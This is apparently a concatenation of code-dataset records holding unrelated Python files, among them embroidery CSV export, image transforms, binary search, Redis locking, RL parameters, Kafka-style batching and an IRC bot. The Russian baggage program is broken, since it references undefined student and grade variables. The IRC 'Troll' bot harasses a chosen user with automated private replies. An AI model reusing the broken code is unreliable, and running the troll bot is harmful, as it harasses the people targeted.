thread.hex_color(),\r\n thread.description,\r\n thread.brand,\r\n thread.catalog_number,\r\n thread.details,\r\n thread.weight,\r\n ))\r\n write_string_utf8(f, \"\\n\")\r\n\r\n if len(pattern.stitches) > 0:\r\n if displacement:\r\n csv(f, (\r\n '#',\r\n '[STITCH_INDEX]',\r\n '[STITCH_TYPE]',\r\n '[X]',\r\n '[Y]',\r\n '[DX]',\r\n '[R]',\r\n '[ANGLE]'\r\n ))\r\n elif deltas:\r\n csv(f, (\r\n '#',\r\n '[STITCH_INDEX]',\r\n '[STITCH_TYPE]',\r\n '[X]',\r\n '[Y]',\r\n '[DX]',\r\n '[DY]'\r\n ))\r\n else:\r\n csv(f, (\r\n '#',\r\n '[STITCH_INDEX]',\r\n '[STITCH_TYPE]',\r\n '[X]',\r\n '[Y]'\r\n ))\r\n current_x = 0\r\n current_y = 0\r\n for i, stitch in enumerate(pattern.stitches):\r\n try:\r\n name = names[stitch[2]]\r\n except (IndexError, KeyError):\r\n name = \"UNKNOWN \" + str(stitch[2])\r\n if displacement:\r\n dx = stitch[0] - current_x\r\n dy = stitch[1] - current_y\r\n csv(f, (\r\n '*',\r\n str(i),\r\n name,\r\n str(stitch[0]),\r\n str(stitch[1]),\r\n str(dx),\r\n str(dy),\r\n str(distance(dx, dy)),\r\n str(angle(dx, dy))\r\n ))\r\n elif deltas:\r\n dx = stitch[0] - current_x\r\n dy = stitch[1] - current_y\r\n csv(f, (\r\n '*',\r\n str(i),\r\n name,\r\n str(stitch[0]),\r\n str(stitch[1]),\r\n str(dx),\r\n str(dy)\r\n ))\r\n else:\r\n csv(f, (\r\n '*',\r\n str(i),\r\n name,\r\n str(stitch[0]),\r\n str(stitch[1]),\r\n ))\r\n current_x = stitch[0]\r\n current_y = stitch[1]\r\n\r\n\r\ndef get_common_name_dictionary():\r\n return {\r\n NO_COMMAND: \"NO_COMMAND\",\r\n STITCH: \"STITCH\",\r\n JUMP: \"JUMP\",\r\n TRIM: \"TRIM\",\r\n STOP: \"STOP\",\r\n END: \"END\",\r\n SLOW: \"SLOW\",\r\n FAST: \"FAST\",\r\n COLOR_CHANGE: \"COLOR_CHANGE\",\r\n SEQUIN_MODE: \"SEQUIN_MODE\",\r\n SEQUIN_EJECT: \"SEQUIN_EJECT\",\r\n SEW_TO: \"SEW_TO\",\r\n NEEDLE_AT: \"NEEDLE_AT\",\r\n STITCH_BREAK: \"STITCH_BREAK\",\r\n SEQUENCE_BREAK: \"SEQUENCE_BREAK\",\r\n COLOR_BREAK: \"COLOR_BREAK\",\r\n TIE_ON: \"TIE_ON\",\r\n TIE_OFF: \"TIE_OFF\",\r\n FRAME_EJECT: \"FRAME_EJECT\",\r\n MATRIX_TRANSLATE: \"MATRIX_TRANSLATE\",\r\n MATRIX_SCALE: \"MATRIX_SCALE\",\r\n MATRIX_ROTATE: \"MATRIX_ROTATE\",\r\n MATRIX_RESET: \"MATRIX_RESET\",\r\n OPTION_ENABLE_TIE_ON: \"OPTION_ENABLE_TIE_ON\",\r\n OPTION_ENABLE_TIE_OFF: \"OPTION_ENABLE_TIE_OFF\",\r\n OPTION_DISABLE_TIE_ON: \"OPTION_DISABLE_TIE_ON\",\r\n OPTION_DISABLE_TIE_OFF: \"OPTION_DISABLE_TIE_OFF\",\r\n OPTION_MAX_STITCH_LENGTH: \"OPTION_MAX_STITCH_LENGTH\",\r\n OPTION_MAX_JUMP_LENGTH: \"OPTION_MAX_JUMP_LENGTH\",\r\n OPTION_IMPLICIT_TRIM: \"OPTION_IMPLICIT_TRIM\",\r\n OPTION_EXPLICIT_TRIM: \"OPTION_EXPLICIT_TRIM\",\r\n CONTINGENCY_NONE: \"CONTINGENCY_NONE\",\r\n CONTINGENCY_JUMP_NEEDLE: \"CONTINGENCY_JUMP_NEEDLE\",\r\n CONTINGENCY_SEW_TO: \"CONTINGENCY_SEW_TO\",\r\n }\r\n","sub_path":"pyembroidery/CsvWriter.py","file_name":"CsvWriter.py","file_ext":"py","file_size_in_byte":6934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"177916738","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\n\n# Запись о багаже пассажира авиарейса содержит следующие поля:\n# номер рейса, дата вылета, пункт назначения, фамилия пассажира, количество мест багажа,\n# суммарный вес багажа.\n# Поиск выполнять по номеру рейса, дате вылета, пункту назначения, весу багажа (превышение максимально допустимого).\n\n\nclass SimpleIterator:\n\n def __init__(self, limit):\n self.limit = limit\n self.counter = 0\n\n def __next__(self):\n if self.counter < self.limit:\n self.counter += 1\n return 1\n else:\n raise StopIteration\n\n\nif __name__ == '__main__':\n # Список данных о багаже.\n baggage = []\n # Организовать бесконечный цикл запроса команд.\n while True:\n # Запросить команду из терминала.\n command = input(\">>> \").lower()\n # Выполнить действие в соответствие с командой.\n if command == 'exit':\n break\n elif command == 'add':\n # Запросить запись о багаже.\n second_name = input(\"Введите фамилию пассажира: \")\n number_of_seats = int(input(\"Введите кол-во мест багажа: \"))\n flight_number = list(map(int, input(\"Введите номер рейса: \").split(\".\")))\n date = list(map(int, input(\"Введите дату вылета: \").split(\".\")))\n location = list(map(str, input(\"Введите пункт назначения: \").split(\".\")))\n weight = list(map(int, input(\"Введите суммарный вес багажа: \").split(\".\")))\n\n # Создать словарь.\n information = {\n 'second_name': second_name,\n 'number_of_seats': number_of_seats,\n 'flight_number': flight_number,\n 'date': date,\n 'location': location,\n 'weight': weight\n }\n\n baggage.append(information)\n if len(baggage) > 1:\n baggage.sort(key=lambda item: item.get('name', ''))\n elif command == 'list':\n line = '+-{}-+-{}-+-{}-+-{}-+-{}-+-{}-+-{}-+-{}-+-{}-+'.format(\n '-' * 4,\n '-' * 30,\n '-' * 20,\n '-' * 8,\n '-' * 8,\n '-' * 8,\n '-' * 8,\n '-' * 8,\n '-' * 11\n )\n print(line)\n print(\n '| {:^3} | {:^30} | {:^20} | {:^8} | {:^8} | {:^8} | {:^8} | {:^8} |'.format(\n \"№\",\n \"Ф.И.О.\",\n \"Группа\",\n \"1-ая оценка\",\n \"2-ая оценка\",\n \"3-ая оценка\",\n \"4-ая оценка\",\n \"5-ая оценка\"\n )\n )\n print(line)\n # Вывести данные о всех сотрудниках.\n for idx, person in enumerate(students, 1):\n print(\n '| {:>3} | {:<30} | {:<20} | {:>11} | {:>11} | {:>11} | {:>11} | {:>11} |'.format(\n idx,\n person.get('name', ''),\n person.get('group', ''),\n person.get('marks[0]', f'{marks[0]}'),\n person.get('marks[1]', f'{marks[1]}'),\n person.get('marks[2]', f'{marks[2]}'),\n person.get('marks[3]', f'{marks[3]}'),\n person.get('marks[4]', f'{marks[4]}')\n )\n )\n print(line)\n elif command.startswith('select '):\n parts = command.split(' ', maxsplit=2)\n period = int(parts[1])\n\n count = 0\n for person in students:\n if 2 in marks:\n count += 1\n print(\n '{:>4}: {}'.format(count, person.get('name', ''))\n )\n # Если счетчик равен 0, то работники не найдены.\n if count == 0:\n print(\"Нет сту��ентов, которые получили оценку - 2.\")\n elif command == 'help':\n # Вывести справку о работе с программой.\n print(\"Список команд:\\n\")\n print(\"add - добавить студента;\")\n print(\"list - вывести список студентов;\")\n print(\"select <оценка> - найти студентов которые получили такую оценку;\")\n print(\"help - отобразить справку;\")\n print(\"exit - завершить работу с программой.\")\n else:\n print(f\"Неизвестная команда {command}\", file=sys.stderr)","sub_path":"individ_1.py","file_name":"individ_1.py","file_ext":"py","file_size_in_byte":5390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"317159445","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimg = cv2.imread(\"t_shape.png\")\nrows,coloums,channels = img.shape\nM1 = np.float32([[1,0,50],[0,1,50]])\ntrans1 = cv2.warpAffine(img,M1,(coloums,rows))\nM2 = np.float32([[1,0,0],[0,1,100]])\ntrans2 = cv2.warpAffine(img,M2,(coloums,rows))\nM3 = np.float32([[1,0,50],[0,1,-50]])\ntrans3 = cv2.warpAffine(img,M3,(coloums,rows))\nM4 = np.float32([[1,0,-50],[0,1,-50]])\ntrans4 = cv2.warpAffine(img,M4,(coloums,rows))\n\n\nM5 = cv2.getRotationMatrix2D((coloums/2,rows/2),45,1)\nrot1 = cv2.warpAffine(img,M5,(coloums,rows))\nM6 = cv2.getRotationMatrix2D((coloums/2,rows/2),90,1)\nrot2 = cv2.warpAffine(img,M6,(coloums,rows))\nM7 = cv2.getRotationMatrix2D((coloums/2,rows/2),180,1)\nrot3 = cv2.warpAffine(img,M7,(coloums,rows))\nM8 = cv2.getRotationMatrix2D((coloums/2,rows/2),135,1)\nrot4 = cv2.warpAffine(img,M8,(coloums,rows))\n\n\nblur1 = cv2.blur(img,(3,3))\nblur2 = cv2.GaussianBlur(img,(3,3),0)\n\n\nfig, axs = plt.subplots(2, 5)\naxs[0,0].imshow(cv2.cvtColor(trans1,cv2.COLOR_BGR2RGB))\naxs[0,1].imshow(cv2.cvtColor(trans2,cv2.COLOR_BGR2RGB))\naxs[0,2].imshow(cv2.cvtColor(trans3,cv2.COLOR_BGR2RGB))\naxs[0,3].imshow(cv2.cvtColor(trans4,cv2.COLOR_BGR2RGB))\naxs[0,4].imshow(cv2.cvtColor(rot1,cv2.COLOR_BGR2RGB))\naxs[1,0].imshow(cv2.cvtColor(rot2,cv2.COLOR_BGR2RGB))\naxs[1,1].imshow(cv2.cvtColor(rot3,cv2.COLOR_BGR2RGB))\naxs[1,2].imshow(cv2.cvtColor(rot4,cv2.COLOR_BGR2RGB))\naxs[1,3].imshow(cv2.cvtColor(blur1,cv2.COLOR_BGR2RGB))\naxs[1,4].imshow(cv2.cvtColor(blur2,cv2.COLOR_BGR2RGB))\nplt.show()","sub_path":"OpenCV/assignment2_1.py","file_name":"assignment2_1.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"256035923","text":"#정렬된 배열에서 특정 수의 개수 구하기\n\n#정렬된 수열에서 길이 x인 원소의 개수를 세는 메서드\ndef count_by_value(array,x):\n n = len(array) # 데이터의 개수\n\n # x가 처음 등장한 인덱스 계산\n a = first(array,x,0,n-1)\n\n if a == None:\n return 0 # 값이 x인 원소의 개수는 0개이므로 0 반환\n \n # x가 마지막으로 등장한 인덱스 계산\n b = last(array,x,0,n-1)\n\n return b - a + 1\n\n#처음 위치를 찾는 이진 탐색 메서드\n\ndef first(array,target,start,end):\n if start>end:\n return None\n mid = (start+end)//2\n # 해당 값을 가지는 원소 중에서 가장 왼쪽에 있는 경우에만 인덱스 반환\n if (mid == 0 or target > array[mid-1]) and array[mid] == target:\n return mid\n # 중간점의 값 보다 찾고자 하는 값이 적거나 같은 경우 왼쪽 확인\n elif array[mid] >= target:\n return first(array,target,start,mid-1)\n # 중간점의 값 보다 찾고자 하는 값이 크거나 같은 경우 오른쪽 확인\n else:\n return first(array,target,mid+1,end)\n\ndef last(array,target,start,end):\n if start>end:\n return None\n mid = (start+end)//2\n # 해당 값을 가지는 원소 중에서 가장 왼쪽에 있는 경우에만 인덱스 반환\n if (mid == n-1 or target < array[mid+1]) and array[mid] == target:\n return mid\n # 중간점의 값 보다 찾고자 하는 값이 적거나 같은 경우 왼쪽 확인\n elif array[mid] > target:\n return last(array,target,start,mid-1)\n # 중간점의 값 보다 찾고자 하는 값이 크거나 같은 경우 오른쪽 확인\n else:\n return last(array,target,mid+1,end)\n\nn,x = map(int,input().split())\narray = list(map(int,input().split()))\n\ncount = count_by_value(array,x)\n\nif count == 0:\n print(-1)\nelse:\n print(count)\n","sub_path":"이코테/이진탐색/정렬된 배수에서 특정 수의 개수 구하기-2.py","file_name":"정렬된 배수에서 특정 수의 개수 구하기-2.py","file_ext":"py","file_size_in_byte":1809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"157961448","text":"# -*- encoding: UTF-8 -*-\n\nimport psutil\nimport datetime\n\nclass ServerInfo:\n\n @staticmethod\n def cpu_percent():\n return psutil.cpu_percent()\n\n @staticmethod\n def cpu_times():\n return psutil.cpu_times()\n\n @staticmethod\n def cpu_info():\n info = {}\n info[\"cpu_count\"] = psutil.cpu_count(logical=False)\n info[\"cpu_logical_count\"] = psutil.cpu_count()\n info[\"cpu_freq\"] = psutil.cpu_freq()._asdict()\n return info\n\n @staticmethod\n def mem_info():\n return psutil.virtual_memory()._asdict()\n\n @staticmethod\n def disk_info():\n partitions = psutil.disk_partitions()\n disks = []\n for partition in partitions:\n usage = None\n if partition.fstype:\n usage = psutil.disk_usage(partition.device)\n item = {\n \"device\": partition.device,\n \"mountpoint\": partition.mountpoint,\n \"fstype\": partition.fstype,\n \"opts\": partition.opts,\n \"usage\": None\n }\n if usage:\n item[\"usage\"] = {\n \"total\": usage.total,\n \"used\": usage.used,\n \"free\": usage.free,\n \"percent\": usage.percent\n }\n disks.append(item)\n return disks\n\n @staticmethod\n def processes():\n processes = []\n for proc in psutil.process_iter():\n try:\n pinfo = proc.as_dict(attrs=['pid', 'name', \"cpu_percent\", \"memory_info\", \"username\", \"exe\"])\n pinfo[\"memory_info\"] = proc.memory_info()\n except Exception as e:\n print(e)\n pass\n else:\n processes.append(pinfo)\n return processes\n\n @staticmethod\n def boot_time():\n time = datetime.datetime.fromtimestamp(psutil.boot_time()).strftime(\"%Y-%m-%d %H:%M:%S\")\n return time","sub_path":"server_info.py","file_name":"server_info.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"330842741","text":"from typing import List\n\n\nclass Solution:\n def minPathSum(self, grid: List[List[int]]) -> int:\n row, col = len(grid), len(grid[0])\n dp = [[0]*col for _ in range(row)]\n dp[row-1][col-1] = grid[row-1][col-1]\n for i in range(col-2, -1, -1):\n dp[row-1][i] = dp[row-1][i+1] + grid[row-1][i]\n for i in range(row-2, -1, -1):\n dp[i][col-1] = dp[i+1][col-1] + grid[i][col-1]\n for i in range(row-2, -1, -1):\n for j in range(col-2, -1, -1):\n dp[i][j] = grid[i][j] + min(dp[i][j+1], dp[i+1][j])\n return dp[0][0]\n\n\ns = Solution()\nprint(s.minPathSum([[1, 2, 3], [4, 5, 6]]))\n","sub_path":"Python/DP/64_MinimumPathSum/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"371528273","text":"from __future__ import annotations\n\nimport logging\nimport time\nfrom abc import ABC, abstractmethod\nfrom dataclasses import dataclass, field\nfrom typing import (\n Callable,\n Generic,\n Mapping,\n MutableMapping,\n MutableSequence,\n Optional,\n Sequence,\n TypeVar,\n)\n\nfrom snuba.utils.metrics import MetricsBackend\nfrom snuba.utils.streams.processing.strategies.abstract import (\n ProcessingStrategy,\n ProcessingStrategyFactory,\n)\nfrom snuba.utils.streams.types import Message, Partition, TPayload\n\n\nlogger = logging.getLogger(__name__)\n\n\nTResult = TypeVar(\"TResult\")\n\n\nclass AbstractBatchWorker(ABC, Generic[TPayload, TResult]):\n \"\"\"\n The ``BatchProcessingStrategy`` requires an instance of this class to\n handle user provided work such as processing raw messages and flushing\n processed batches to a custom backend.\n \"\"\"\n\n @abstractmethod\n def process_message(self, message: Message[TPayload]) -> Optional[TResult]:\n \"\"\"\n Called with each raw message, allowing the worker to do incremental\n (preferably local!) work on events. The object returned is put into\n the batch maintained internally by the ``BatchProcessingStrategy``.\n\n If this method returns `None` it is not added to the batch.\n\n A simple example would be decoding the message payload value and\n extracting a few fields.\n \"\"\"\n pass\n\n @abstractmethod\n def flush_batch(self, batch: Sequence[TResult]) -> None:\n \"\"\"\n Called with a list of processed (by ``process_message``) objects.\n The worker should write the batch of processed messages into whatever\n store(s) it is maintaining. Afterwards the offsets are committed by\n the ``BatchProcessingStrategy``.\n\n A simple example would be writing the batch to another topic.\n \"\"\"\n pass\n\n\n@dataclass\nclass Offsets:\n __slots__ = [\"lo\", \"hi\"]\n\n lo: int # inclusive\n hi: int # exclusive\n\n\n@dataclass\nclass Batch(Generic[TResult]):\n results: MutableSequence[TResult] = field(default_factory=list)\n offsets: MutableMapping[Partition, Offsets] = field(default_factory=dict)\n created: float = field(default_factory=lambda: time.time())\n messages_processed_count: int = 0\n # the total amount of time, in milliseconds, that it took to process\n # the messages in this batch (does not included time spent waiting for\n # new messages)\n processing_time_ms: float = 0.0\n\n\nclass BatchProcessingStrategy(ProcessingStrategy[TPayload]):\n \"\"\"\n The ``BatchProcessingStrategy`` is a processing strategy that accumulates\n processed message values, periodically flushing them after a given\n duration of time has passed or number of output values have been\n accumulated. Users need only provide an implementation of what it means\n to process a raw message and flush a batch of events via an\n ``AbstractBatchWorker`` instance.\n\n Messages are processed as they are read from the consumer, then added to\n an in-memory batch. These batches are flushed based on the batch size or\n time sent since the first message in the batch was recieved (e.g. \"500\n items or 1000ms\"), whichever threshold is reached first. When a batch of\n items is flushed, the consumer offsets are synchronously committed.\n \"\"\"\n\n def __init__(\n self,\n commit: Callable[[Mapping[Partition, int]], None],\n worker: AbstractBatchWorker[TPayload, TResult],\n max_batch_size: int,\n max_batch_time: int,\n metrics: MetricsBackend,\n ) -> None:\n self.__commit = commit\n self.__worker = worker\n self.__max_batch_size = max_batch_size\n self.__max_batch_time = max_batch_time\n self.__metrics = metrics\n\n self.__batch: Optional[Batch[TResult]] = None\n self.__closed = False\n\n def poll(self) -> None:\n \"\"\"\n Check if the current in-flight batch should be flushed.\n \"\"\"\n assert not self.__closed\n\n if self.__batch is not None and (\n len(self.__batch.results) >= self.__max_batch_size\n or time.time() > self.__batch.created + self.__max_batch_time / 1000.0\n ):\n self.__flush()\n\n def submit(self, message: Message[TPayload]) -> None:\n \"\"\"\n Process a message.\n \"\"\"\n assert not self.__closed\n\n start = time.time()\n\n self.__metrics.timing(\n \"receive_latency\",\n (start - message.timestamp.timestamp()) * 1000,\n tags={\n \"topic\": message.partition.topic.name,\n \"partition\": str(message.partition.index),\n },\n )\n\n # Create the batch only after the first message is seen.\n if self.__batch is None:\n self.__batch = Batch()\n\n result = self.__worker.process_message(message)\n\n # XXX: ``None`` is indistinguishable from a potentially valid return\n # value of ``TResult``!\n if result is not None:\n self.__batch.results.append(result)\n\n duration = (time.time() - start) * 1000\n self.__batch.messages_processed_count += 1\n self.__batch.processing_time_ms += duration\n self.__metrics.timing(\"process_message\", duration)\n\n if message.partition in self.__batch.offsets:\n self.__batch.offsets[message.partition].hi = message.next_offset\n else:\n self.__batch.offsets[message.partition] = Offsets(\n message.offset, message.next_offset\n )\n\n def close(self) -> None:\n self.__closed = True\n\n def terminate(self) -> None:\n self.__closed = True\n\n def join(self, timeout: Optional[float] = None) -> None:\n # The active batch is discarded when exiting without attempting to\n # write or commit, so this method can exit immediately without\n # blocking.\n pass\n\n def __flush(self) -> None:\n \"\"\"\n Flush the active batch and reset the batch state.\n \"\"\"\n assert not self.__closed\n assert self.__batch is not None, \"cannot flush without active batch\"\n\n logger.info(\n \"Flushing %s items (from %r)\",\n len(self.__batch.results),\n self.__batch.offsets,\n )\n\n self.__metrics.timing(\n \"process_message.normalized\",\n self.__batch.processing_time_ms / self.__batch.messages_processed_count,\n )\n\n batch_results_length = len(self.__batch.results)\n if batch_results_length > 0:\n logger.debug(\"Flushing batch via worker\")\n flush_start = time.time()\n self.__worker.flush_batch(self.__batch.results)\n flush_duration = (time.time() - flush_start) * 1000\n logger.info(\"Worker flush took %dms\", flush_duration)\n self.__metrics.timing(\"batch.flush\", flush_duration)\n self.__metrics.timing(\n \"batch.flush.normalized\", flush_duration / batch_results_length\n )\n\n logger.debug(\"Committing offsets for batch\")\n commit_start = time.time()\n offsets = {\n partition: offsets.hi for partition, offsets in self.__batch.offsets.items()\n }\n self.__commit(offsets)\n logger.debug(\"Committed offsets: %s\", offsets)\n commit_duration = (time.time() - commit_start) * 1000\n logger.debug(\"Offset commit took %dms\", commit_duration)\n\n self.__batch = None\n\n\nclass BatchProcessingStrategyFactory(ProcessingStrategyFactory[TPayload]):\n def __init__(\n self,\n worker: AbstractBatchWorker[TPayload, TResult],\n max_batch_size: int,\n max_batch_time: int,\n metrics: MetricsBackend,\n ) -> None:\n self.__worker = worker\n self.__max_batch_size = max_batch_size\n self.__max_batch_time = max_batch_time\n self.__metrics = metrics\n\n def create(\n self, commit: Callable[[Mapping[Partition, int]], None]\n ) -> ProcessingStrategy[TPayload]:\n return BatchProcessingStrategy(\n commit,\n self.__worker,\n self.__max_batch_size,\n self.__max_batch_time,\n self.__metrics,\n )\n","sub_path":"snuba/utils/streams/processing/strategies/batching.py","file_name":"batching.py","file_ext":"py","file_size_in_byte":8214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"646569231","text":"'''\nredis实现的分布式锁\n'''\nimport redis_pool\nimport redis\nimport threading\nimport time\n\n\nredis_client = redis.Redis(connection_pool=redis_pool.pool)\n\n\ndef task():\n print(threading.current_thread().name)\n\n\ndef doSomething():\n '''\n 分布式锁实现,没有时设置并设置超时时间,完成任务后删除\n 会有任务超过锁超时时间的问题。。。\n '''\n try:\n redis_client.set('lock', 1, ex=20, nx=True)\n for i in range(3):\n task()\n time.sleep(5)\n except Exception as e:\n print(e)\n finally:\n redis_client.delete('lock')\n\n\nif __name__ == '__main__':\n threads = []\n for i in range(3):\n t = threading.Thread(\n name='thread-' + str(i),\n target=doSomething,\n daemon=True)\n threads.append(t)\n for t in threads:\n t.start()\n for t in threads:\n t.join()\n","sub_path":"redis/distributed_lock_redis.py","file_name":"distributed_lock_redis.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"173876335","text":"\n# my package\nfrom param import Param\nfrom run import run\nfrom systems.consensus import Consensus\nfrom other_policy import LCP_Policy, WMSR_Policy\n\n# standard package\nimport numpy as np \nfrom torch import nn as nn \nfrom torch import tanh\nimport torch \n\nclass ConsensusParam(Param):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\t\tself.env_name = 'Consensus'\n\t\tself.env_case = None\n\n\t\t#\n\t\tself.pomdp_on = True\n\t\tself.r_comm = 5\n\t\tself.n_agents = 5\n\t\tself.n_malicious = 1\n\t\tself.agent_memory = 2\n\t\tself.n_neighbors = 4\n\t\tself.single_agent_sim = False\n\t\tself.multi_agent_sim = True \n\n\t\t# dim \n\t\tself.state_dim_per_agent = 1 \n\t\tself.state_dim = self.n_agents*self.state_dim_per_agent\n\t\tself.action_dim_per_agent = 1\n\t\tself.action_dim = self.n_agents*self.action_dim_per_agent\n\n\t\t# RL\n\t\tself.rl_train_model_fn = '../models/consensus/rl_current.pt'\n\t\tself.rl_continuous_on = False\n\t\tself.rl_lr_schedule_on = False\n\t\tself.rl_gpu_on = False\n\t\tself.rl_max_episodes = 50000\n\t\tself.rl_batch_size = 500\n\t\tself.rl_gamma = 0.98\n\t\tself.rl_K_epoch = 5\n\t\tself.rl_num_actions = 5\n\t\tself.a_min = -1\n\t\tself.a_max = 1\n\t\tself.rl_discrete_action_space = np.linspace(self.a_min, self.a_max, self.rl_num_actions)\n\t\tself.rl_warm_start_on = False \n\t\tself.rl_warm_start_fn = '../models/consensus/rl_current.pt'\n\t\tself.rl_module = \"PPO\" # PPO_w_DeepSet, DDPG, PPO, (DDPG_w_DeepSet)\n\t\tself.rl_log_interval = 20\n\t\tself.rl_scale_reward = 0.01\n\n\t\th_s = 32 # hidden layer\n\t\tself.rl_activation = tanh\n\t\tif self.rl_module is 'DDPG':\n\t\t\t# ddpg param\n\t\t\tself.rl_lr_mu = 5e-5\n\t\t\tself.rl_lr_q = 5e-4\n\t\t\tself.rl_buffer_limit = 5e6\n\t\t\tself.rl_action_std = 1\n\t\t\tself.rl_max_action_perturb = 0.5\n\t\t\tself.rl_tau = 0.995\n\t\t\t# network architecture\n\t\t\tself.rl_mu_network_architecture = nn.ModuleList([\n\t\t\t\tnn.Linear(n,h_mu), \n\t\t\t\tnn.Linear(h_mu,h_mu),\n\t\t\t\tnn.Linear(h_mu,m)])\n\t\t\tself.rl_q_network_architecture = nn.ModuleList([\n\t\t\t\tnn.Linear(n+m,h_q),\n\t\t\t\tnn.Linear(h_q,h_q),\n\t\t\t\tnn.Linear(h_q,1)])\n\t\t\tself.rl_network_activation = tanh \t\t\n\n\t\telif self.rl_module is 'PPO':\n\t\t\t# ppo param\n\t\t\tself.rl_lr = 5e-4\n\t\t\tself.rl_lmbda = 0.95\n\t\t\tself.rl_eps_clip = 0.2\n\n\t\t\tself.rl_layers = nn.ModuleList([\n\t\t\t\tnn.Linear(self.agent_memory*self.n_neighbors,h_s),\n\t\t\t\tnn.Linear(h_s,h_s),\n\t\t\t\tnn.Linear(h_s,len(self.rl_discrete_action_space)),\n\t\t\t\tnn.Linear(h_s,1)\n\t\t\t\t])\n\n\t\t# IL\n\t\tself.il_train_model_fn = '../models/consensus/il_current.pt'\n\t\tself.il_imitate_model_fn = '../models/consensus/rl_current.pt'\n\t\tself.il_controller_class = None \n\n\t\t# Sim\n\t\tself.sim_rl_model_fn = '../models/consensus/rl_current.pt'\n\t\tself.sim_il_model_fn = '../models/consensus/il_current.pt'\n\t\tself.sim_render_on = True\n\t\tself.sim_t0 = 0\n\t\tself.sim_tf = 8\n\t\tself.sim_dt = 0.01\n\t\tself.sim_times = np.arange(self.sim_t0,self.sim_tf,self.sim_dt)\n\t\tself.sim_nt = len(self.sim_times)\n\n\t\tself.plots_fn = 'plots.pdf'\n\n\n\nif __name__ == '__main__':\n\tparam = ConsensusParam()\n\tenv = Consensus(param)\n\n\t# x0 = np.array([0.4, np.pi/2, 0.5, 0])\n\t# x0 = np.array([0.07438156, 0.33501733, 0.50978889, 0.52446423])\n\n\n\tcontrollers = {\n\t\t'LCP': LCP_Policy(env),\n\t\t# 'WMSR': WMSR_Policy(env),\n\t\t'RL':\ttorch.load(param.sim_rl_model_fn),\n\t\t# 'IL':\ttorch.load(param.sim_il_model_fn),\n\t\t# 'SCP':\tFilePolicy(scp_file),\n\t}\n\n\trun(param, env, controllers)","sub_path":"code/examples/run_consensus.py","file_name":"run_consensus.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"426927533","text":"# coding: utf8\nfrom __future__ import unicode_literals\n\nimport Queue\nimport time\n\nimport requests\n\nimport IRC\nimport message_parsing\nimport utils\n\n\nclass Troll(IRC.Bot):\n \"\"\"\n Troll class who respond with random quote\n \"\"\"\n\n def __init__(self, parent, username, Target, server, channel_to_reply):\n IRC.Bot.__init__(self, parent, Target, username, server)\n self.queue = Queue.Queue()\n self.channel_to_reply = channel_to_reply\n\n def init(self):\n \"\"\"\n init the bot (send i can help you to target)\n\n :return: Nothing what did you expect\n \"\"\"\n self.reply(\"I can help you {} :)\".format(self.target), \"PRIVMSG\")\n\n def main(self):\n \"\"\"\n main loop of bot , reply to every Message with a quote and send the conversation to main channel\n\n :return: Nothing what did you expect\n \"\"\"\n message = self.queue.get()\n res = self.get_citation()\n self.reply(\"{}=>{}\".format(message.pseudo, message.content), \"PUBMSG\", target=self.channel_to_reply)\n time.sleep(0.1 * len(res))\n self.reply(\"{}<={}\".format(message.pseudo, res), \"PUBMSG\", target=self.channel_to_reply)\n self.reply(res, \"PRIVMSG\")\n\n @staticmethod\n def get_citation():\n \"\"\"\n get a random quote\n\n :return: random quote\n \"\"\"\n r = requests.get(\"http://www.quotationspage.com/random.php3\")\n return utils.parse_html_balise(\"a\", utils.parse_html_balise(\"dt\", r.text))\n\n\ndef create_troll(message, bot):\n param = message.content.split()\n if message.pseudo not in [\"Tagashy\", \"ghozt\"]:\n return\n if len(param) != 2:\n if message.msg_type == \"PRIVMSG\":\n bot.reply(\"!troll \", \"PRIVMSG\", target=message.pseudo)\n else:\n bot.reply(\"!troll \", \"PUBMSG\")\n else:\n if param[1].lower() not in {\"hackira\", \"arod\", \"dazax\", \"dvor4x\", \"notfound\", \"sambecks\", \"thanat0s\", \"gelu\",\n \"geluchat\", bot.username, \"#root-me\"}:\n troll = Troll(bot.parent, bot.username, param[1], bot.server, bot.target)\n reg = message_parsing.Message(pseudo=param[1], msg_type=\"PRIVMSG\")\n bot.parent.add_bot(reg, troll, bot.username, bot.server, bot.target)\n if message.msg_type == \"PRIVMSG\":\n bot.reply(\"trolling {} :P\".format(param[1]), \"PRIVMSG\", target=message.pseudo)\n else:\n bot.reply(\"trolling {} :P\".format(param[1]), \"PUBMSG\")\n","sub_path":"RandomQuote.py","file_name":"RandomQuote.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"355061135","text":"#!/usr/bin/env python\n\nimport os\nimport time\n#import serial\nimport rospy\nimport math\nfrom std_msgs.msg import Float64\nfrom std_msgs.msg import UInt16\n\nclass Motors:\n def __init__(self):\n self.thrust = True\n\n self.maxPowerValue = 1900\n self.minPowerValue = 1100\n\n self.powerR = 0 \n self.powerL = 0 \n\n rospy.Subscriber(\"right_thruster\", Float64, self.right_callback)\n rospy.Subscriber(\"left_thruster\", Float64, self.left_callback)\n\n self.r_pwm_pub = rospy.Publisher(\"rpwm\", UInt16, queue_size=10)\n self.l_pwm_pub = rospy.Publisher(\"lpwm\", UInt16, queue_size=10)\n\n def right_callback(self, right_t):\n self.powerR = right_t.data\n #rospy.logwarn(self.powerR)\n\n def left_callback(self, left_t):\n self.powerL = left_t.data\n 